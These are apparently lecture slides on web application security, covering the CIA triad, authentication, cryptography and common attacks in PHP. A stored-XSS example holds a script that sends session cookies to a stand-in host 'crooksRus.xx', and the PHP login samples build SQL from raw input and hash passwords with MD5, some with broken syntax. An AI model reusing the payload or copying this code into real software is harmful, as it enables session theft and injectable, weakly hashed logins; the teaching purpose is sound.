Keamanan Aplikasi Web

Husni
The CIA triad

• **Confidentiality** is the principle of maintaining privacy for the data you are storing, transmitting, etc. This is the concept most often thought of when security is brought up.

• **Integrity** is the principle of ensuring that data is accurate and correct. This can include preventing unauthorized access and modification, but also extends to disaster preparedness and recovery.

• **Availability** is the principle of making information available when needed to authorized people. It is essential to making the other two elements relevant. It’s easy to have a confidential and integral system (a locked box). This can be extended to high-availability, where redundant systems must be in place to ensure high uptime.
Risk Assessment: **Actors**

- **Internal actors** are the people who work for the organization. They can be anywhere in the organization from the cashier through the IT staff, all the way to the CEO. Although they account for a small percentage of the attacks, they are especially dangerous due to their internal knowledge of the systems.

- **External actors** are the people outside of the organization. They have a wide range of intent and skill, and they are the most common source of attacks. It turns out that more than three quarters of external actors are affiliated with organized crime or nation states.

- **Partner actors** are affiliated with an organization that you partner or work with. If your partner is somehow compromised, there is a chance your data is at risk as well because quite often partners are granted some access to each other’s systems (to place orders, for example).
Risk Assessment: Impacts

• A **loss of availability** prevents users from accessing some or all of the systems. This might manifest as a denial of service attack, or a SQL injection attack (described later), where the payload removes the entire user database, preventing logins from registered users.

• A **loss of confidentiality** includes the disclosure of confidential information to a (often malicious) third party. It can impact the human beings behind the usernames in a very real way, depending on what was stolen. This could manifest as a cross-site script attack where data is stolen right off your screen or a full-fledged database theft where credit cards and passwords are taken.

• A **loss of integrity** changes your data or prevents you from having correct data. This might manifest as an attacker hijacking a user session, perhaps placing fake orders or changing a user’s home address.
Risk Assessment: Threats

• Refers to a particular path that a hacker could use to exploit a vulnerability and gain unauthorized access to your system.

• Can be categorized using the STRIDE mnemonic, developed by Microsoft
  • **Spoofing** – The attacker uses someone else’s information to access the system.
  • **Tampering** – The attacker modifies some data in nonauthorized ways.
  • **Repudiation** – The attacker removes all trace of their attack, so that they cannot be held accountable for other damages done.
  • **Information disclosure** – The attacker accesses data they should not be able to.
  • **Denial of service** – The attacker prevents real users from accessing the systems.
  • **Elevation of privilege** – The attacker increases their privileges on the system thereby getting access to things they are not authorized to do.
Risk Assessment: Vulnerabilities

• Are the security holes in your system.

• The top five classes of vulnerability from the Open Web Application Security Project (OWASP):
  • Injection
  • Broken authentication and session management
  • Cross-site scripting
  • Insecure direct object references
  • Security misconfiguration
Security Policy

- Typically fall into three categories
  - **Usage policy** defines what systems users are permitted to use, and under what situations. A company may, for example, prohibit social networking while at work, even though the IT policies may allow that traffic in. Usage policies are often designed to reduce risk by removing some attack vector from a particular class of system.
  - **Authentication policy** controls how users are granted access to the systems. These policies may specify where an access badge is needed, a biometric ID, or when a password will suffice. Often hated by users, these policies most often manifest as simple **password policies**, which can enforce length restrictions and alphabet rules as well as expiration of passwords after a set period of time. all into three categories
  - **Legal policies** define a wide range of things including data retention and backup policies as well as accessibility requirements (like having all public communication well organized for the blind). These policies must be adhered to in order to keep the organization in compliance.
IT security & Business Continuity

• Admin Password Management

• Backups and Redundancy
  • A server configured with Apache to run our PHP code with a database server installed on the same or another machine.
  • The PHP code for the domain.
  • The database dump with all tables and data.

• Geographic Redundancy

• Stage Mock Events

• Auditing
  • is the process by which a third party is invited (or required) to check over your systems to see if you are complying with regulations and your claims
Secure by design

• A software engineering principle that tries to make software better by acknowledging and addressing that there are malicious users out there.

• By continually distrust user input (and even internal values) throughout the design and implementation phases, you will produce more secure software than if you didn’t consider security at every stage.

• Some techniques that have developed to help keep your software secure include code reviews, pair programming, security testing, and security by default.
Examples of security into the SDLC

Requirements
- Privacy needs
- Security Policy
- CIA Triad

Design
- Threat assessment
- Risk assessment
- Redundancy planning

Implementation
- Pair programming
- Code reviews
- Defensive programming

Testing
- Security unit tests
- Vulnerability tests
- Test cases

Deployment
- Penetration testing
- Attack thyself
- Default values
Authentication

- **Authentication** is the process by which you decide that someone is who they say they are and therefore permitted to access the requested resources.

- **Authentication factors** are the things you can ask someone for in an effort to validate that they are who they claim to be.

- Three categories of authentication factor, knowledge, ownership, and inherence, are commonly thought of as *the things you know, the things you have, and the things you are.*
Authentication factors

What you know (Knowledge)
  Passwords, PIN, security questions, ...

What you have (Ownership)
  Access card, cell phone, cryptographic FOB, ...

What you are (Inherence)
  Retinas, fingerprints, DNA, walking gait, ...
Level of Factor Authentication

• **Single-factor authentication** is the weakest and most common category of authentication system where you ask for only one of the three factors.

• **Multifactor authentication** is where two distinct factors of authentication must pass before you are granted access.
  • access an ATM machine is an example of two-factor authentication

• **Third-Party Authentication.** many popular services allow you to use their system to authenticate the user and provide you with enough data to manage your application.
  • like OpenID and oAuth
Open authorization (OAuth)

• popular authorization framework that allows users to use credentials from one site to authenticate at another site.

• OAuth uses four user roles in its framework:
  • The resource owner is normally the end user who can gain access to the resource (though it can be a computer as well).
  • The resource server hosts the resources and can process requests using access tokens.
  • The client is the application making requests on behalf of the resource owner.
  • The authorization server issues tokens to the client upon successful authentication of the resource owner. Often this is the same as the resource server.
The steps required to register and authenticate a user using OAuth

1. User requests login page
2. Client redirects the user to authentication server with its client_id and callback URL.
3. Upon a valid login, authentication server returns a redirect to the client containing the authorization code.
4. Client requests an access token using the authorization code and secret.
5. User wants access to something.
6. The access token obtained earlier grants access to the resource from the resource server.
Authorization

- defines what rights and privileges a user has once they are authenticated.

- It can also be extended to the privileges of a particular piece of software (such as Apache).

- Authentication *grants* access, and authorization *defines* what the user with access can (and cannot) do.

- The **principle of least privilege** is a helpful rule of thumb that tells you to give users and software only the privileges required to accomplish their work.
Examples, proper authorization increases security

• Using a separate database user for read and write privileges on a database
• Providing each user an account where they can access their own files securely
• Setting permissions correctly so as to not expose files to unauthorized users
• Using Unix groups to grant users permission to access certain functionality rather than grant users admin access
• Ensuring Apache is not running as the root account (i.e., the account that can access everything)
Eavesdropping

- allow someone to get your credentials while they are being transmitted.
- Alice transmitting to Bob with Eve intercepting the message
Cryptography

- Is to keep the key a secret between the sender & the receiver
- Alice and Bob using symmetric encryption to transmit messages
High-level illustration of the DES cipher

1. Message broken into 64-bit blocks (and padded out)

2. For each 64-bit block

3. The block is split into two 32-bit blocks.

0. Sixteen 48-bit keys are generated from the 64-bit shared key.

4. The 32-bit value is expanded to 48 bits and XOR'd with the key for this round.

5. The XOR'd value is split into 8, 6-bit blocks and run through the eight S-boxes (Substitution boxes).

6. The permuted blocks are recombined.

7. The scrambled 32-bit value is XOR'd with the other 32-bit block.

8. The 32-bit blocks are switched for the next round, go back to Step 4.

9. After 16 rounds we have the scrambled 64-bit value (the cipher text).
Illustration of a simple Diffie-Hellman Key Exchange for $g = 2$ and $p = 11$

$a = 3$
$b = ???$
$g^b \mod p = 5$
$(g^b)^a = (5)^3 \mod p = 4$

$g = 2$
$p = 11$
$g^b \mod p = 5$
$g^a \mod p = 8$
$(g^b)^a = ???$
$a = ???$
$b = ???$
digital signature and its validation

• mathematically secure way of validating that a particular digital document was created by the person claiming to create it (authenticity), was not modified in transit (integrity), and cannot be denied (non-repudiation).
Hypertext Transfer Protocol Secure (HTTPS)

• HTTPS is the HTTP protocol running on top of the Transport Layer Security

• (TLS). Because TLS version 1.0 is actually an improvement on Secure Sockets Layer

• 3.0 (SSL), we often refer to HTTP as running on TLS/SSL for compatibility reasons.
SSL handshake

1. HELLO (cipher list, SSL version, etc.)
2. HELLO (cipher selection)
3. Public key
4. Certificate
5. Client authenticates the certificate or gets the user to accept it.
6. Premaster secret (encoded with server key)
7. Symmetric key computed
8. Client done
9. Server done
10. Secure transmission completed
Security Best Practices
insert & select plaintext storage

//Insert the user with the password
function insertUser($username, $password) {
    $link = mysqli_connect("localhost", "my_user", "my_password", 
                          "Login");
    $sql = "INSERT INTO Users (Username, Password) VALUES ('$username', '$password')";
    mysqli_query($link, $sql);  //execute the query
}

//Check if the credentials match a user in the system
function validateUser($username, $password) {
    $link = mysqli_connect("localhost", "my_user", "my_password", 
                          "Login");
    $sql = "SELECT UserID FROM Users WHERE Username='$username' AND Password='$password'";
    $result = mysqli_query($link, $sql);  //execute the query
    if($row = mysqli_fetch_assoc($result)) {
        return true;  //record found, return true.
    }
    return false;  //record not found matching credentials, return false
}
**insert & select with hashing**

```php
function insertUser($username, $password)
{
    $link = mysqli_connect("localhost", "my_user", "my_password", "Login");
    $sql = "INSERT INTO Users(Username, Password) VALUES('{$username}', MD5('{$password}'))";
    mysqli_query($link, $sql); //execute the query
}

function validateUser($username, $password)
{
    $link = mysqli_connect("localhost", "my_user", "my_password", "Login");
    $sql = "SELECT UserID FROM Users WHERE Username='{$username}' AND Password=MD5('{$password}');
    $result = mysqli_query($link, $sql); //execute the query
    if(mysqli_num_rows($result) > 0)
    {
        return true; //record found, return true.
    }
    return false; //record not found matching credentials, return false
}
```
MD5 Hash Using a Unique Salt

<table>
<thead>
<tr>
<th>UserID (int)</th>
<th>Username (varchar)</th>
<th>Password (varchar)</th>
<th>Salt</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>ricardo</td>
<td>edee24c1f2f1a1fda2375828fbeb6933</td>
<td>12345a</td>
</tr>
<tr>
<td>2</td>
<td>randy</td>
<td>ffc7764973435b9a2222a49d488c68e4</td>
<td>54321a</td>
</tr>
</tbody>
</table>

```python
function generateRandomSalt()
    return base64_encode(mcrypt_create_iv(12, MCrypt_DEV_URANDOM));
}

// Insert the user with the password salt generated, stored, and // password hashed
function insertUser($username, $password)
    $link = mysqli_connect("localhost", "my_user", "my_password", "Login");
    $salt = generateRandomSalt();
    $sql = "INSERT INTO Users(Username, Password, Salt) VALUES($username', MD5(''$password'$salt'), '$salt'))");
    mysqli_query($link, $sql); // execute the query
```
MD5 Hash Using a Unique Salt

```php
// Check if the credentials match a user in the system with MD5 hash using salt
function validateUser($username, $password) {
    $link = mysqli_connect("localhost", "my_user", "my_password", "Login");
    $sql = "SELECT Salt FROM Users WHERE Username='$username'";
    $result = mysqli_query($link, $sql); // execute the query
    if($row = mysqli_fetch_assoc($result)){

        // username exists, build second query with salt
        $salt = $row['Salt'];
        $saltSql = "SELECT UserID FROM Users WHERE Username='$username'
            AND Password=MD5('$password$salt')";
        $finalResult = mysqli_query($link, $saltSql);
        if($finalrow = mysqli_fetch_assoc($finalResult))
            return true; // record found, return true.
    }
    return false; // record not found matching credentials, return false
}
```
Common Threat Vectors
SQL injection is the attack technique of using reserved SQL symbols to try and make the web server execute a malicious query other than what was intended.

1. SELECT * FROM Users WHERE uname='';
2. TRUNCATE TABLE User;

SQL injection attack (right) and intended usage (left)
protect against SQL Injection attacks

• sanitize user input
  • To sanitize user input (remember, user input is often achieved through query strings) before using it in a SQL query, you either apply sanitization functions (mysqli_real_escape_string) or bind the variables in the query using parameters or prepared statements.

• **Least Possible Privileges** for the application’s database user. A properly secured system only assigns users and applications the privileges they need to complete their work, but no more.

• One could define three types of database user for that web application: one with read-only privileges, one with write privileges, and finally an administrator with the ability to add, drop, and truncate tables. The read-only user is used with all queries by nonauthenticated users. The other two users are used for authenticated users and privileged users, respectively.
Cross-Site Scripting (XSS)

• XSS refers to a type of attack in which a malicious script (JavaScript, VBScript, or ActionScript) is embedded into an otherwise trustworthy website.

• These scripts can cause a wide range of damage and can do just about anything you as developers could do writing a script on your own page.

• **Reflected XSS** (also known as nonpersistent XSS) are attacks that send malicious content to the server, so that in the server response, the malicious content is embedded.

• **Stored XSS** (also known as persistent XSS) is even more dangerous, because the attack can impact every user that visits the site. After the attack is installed, it is transmitted to clients as part of the response to their HTTP requests. These attacks are embedded into the content of a website (in one’s database) and can persist forever or until detected!
Reflection XSS attack

1. A malicious user targets a site that is obviously reflecting data from the user back to them.

   ![Browser](image)
   - `index.php?name=eve`
   - Welcome `eve`

2. The malicious user tests a simple XSS to see if it works.

   ![Browser](image)
   - `index.php?name=<script>alert("bad");</script>`
   - Welcome
   - ![Bad](image)
   - ![OK](image)

3. The malicious user crafts a more malicious URL.

   `index.php?name=<script>...</script>`

   The malicious user might shorten it with a URL shortening service.

   ![HTTP](image)

4. The malicious user sends an email to potential users of the site that contains the malicious URL as a link.

5. The victim clicks the link, and the site reflects the script into the user's browser.

   The script executes (unbeknownst to them). The attack is successful!
Stored XSS attack

1. A blog site allows comments on posts by users through a form.

2. Malicious user "comments" are stored to the blog database without any filtering.

3. Every time the comment is displayed to any user, the malicious code is executed.

4. The malicious code executed on the client computer transmits the logged-in user's session cookie to a malicious user's server.

5. The attacker can use the session cookie to circumvent authentication thereby accessing the server as though logged in by the other user.

Browser

Ricardo's blog
Security is so easy
By: Ricardo

Everyone says security is hard, but I think they are wrong. Please comment...

0 comments
Add a comment

Name: Nice guy
Message:

<scr ipt>
var i = new Image();
i.src="http://crooksRus.xx/steal.php?cookie=
+ document.cookie;
</script> You are so right!

submit

Browser

Ricardo's blog
Security is so easy
By: Ricardo

Everyone says security is hard, but I think they are wrong. Please comment...

1 comment by: Nice guy

😊 You are so right!

Here we are displaying an image so you can see the image that represents the hidden script. It is more common to instead display a tiny transparent image.
Insecure Direct Object Reference

• is a fancy name for when some internal value or key of the application is exposed to the user, and attackers can then manipulate these internal keys to gain access to things they should not have access to.

• Configuration file or other sensitive piece of data is left out in the open for anyone to download (that is, for anyone who knows the URL).

• when a website uses a database key in the URLs that are visible to users: info.php?CustomerID=99

• common technique for storing files on the server: if a user can determine that his or her uploaded photos are stored sequentially as /images/99/1.jpg, /images/99/2.jpg, . . . , they might try to access images of other users by requesting /images/101/1.jpg
  • Against this threat, be using hash values, not sequential for image names: 9a76eb01c5de4362098.jpg
  • Using BLOB Storage (like on PostgreSQL)
Denial of Service

• **Denial of service attacks** (DoS attacks) are attacks that aim to overload a server with illegitimate requests in order to prevent the site from responding to legitimate ones.

• If the attack originates from a single server, then stopping it is as simple as blocking the IP address, either in the firewall or the Apache server.

• DDoS is that the requests are coming in from multiple machines, often as part of a bot army of infected machines under the control of a single organization or user.
Illustration of a Denial of Service (DoS) and a Distributed Denial of Service (DDoS) attack

This computer is running a program or script that is repeatedly requesting a page from the server.

Each computer in this bot army is running the same program or script that is bombarding the server with requests. These users are probably unaware that this is happening.
Security Misconfiguration
improperly configured server

• **Out-of-Date Software.** The solution is straightforward: update your software as quickly as possible. The best practice is to have identical mirror images of the production system in a preproduction setting. Test all updates on that system before updating the live server.

• An **open mail relay** refers to any mail server that allows someone to route email through without authentication. Open relays are troublesome since spammers can use your server to send their messages rather than use their own servers. This means that the spam messages are sent as if the originating IP address was your own web server!

• **More Input Attacks.** Although SQL injection is one type of unsanitized user input that could put your site at risk, there are other risks to allowing user input to control systems. **Input coupled control** refers to the potential vulnerability that occurs when the users, through their HTTP requests, transmit a variety of strings and data that are directly used by the server without sanitation. Two examples you will learn about are the virtual open mail relay and arbitrary program execution.

• **Virtual Open Mail Relay**

• **Arbitrary program execution.** running commands in Unix through a PHP script. Functions like exec(), system(), and passthru() allow the server to run a process as though they were a logged-in user.
Illustrated virtual open relay exploit

0. A contact form transmits the email of the receiver within the HTML in the to: field.

1. Malicious user sees that you are transmitting email addresses in HTML and creates a spam script to mail a list of addresses.

Aphrodite@abc.xyz
Apollo@abc.xyz
Ares@abc.xyz
Artemis@abc.xyz
Athena@abc.xyz
...
Zeus@abc.xyz

2. PHP script passes the query string input directly to the PHP mail() function.

```
...$from = $_POST['sender'];
$to = $_POST['receiver'];
$msg = $_POST['message'];
$header = "From: \n\n"; mail($to, $msg, $header);
...```

3. The form thus acts as an open relay and lets the malicious user send many messages.
Illustrated exploit of a command-line pass-through of user input
Questions

• ?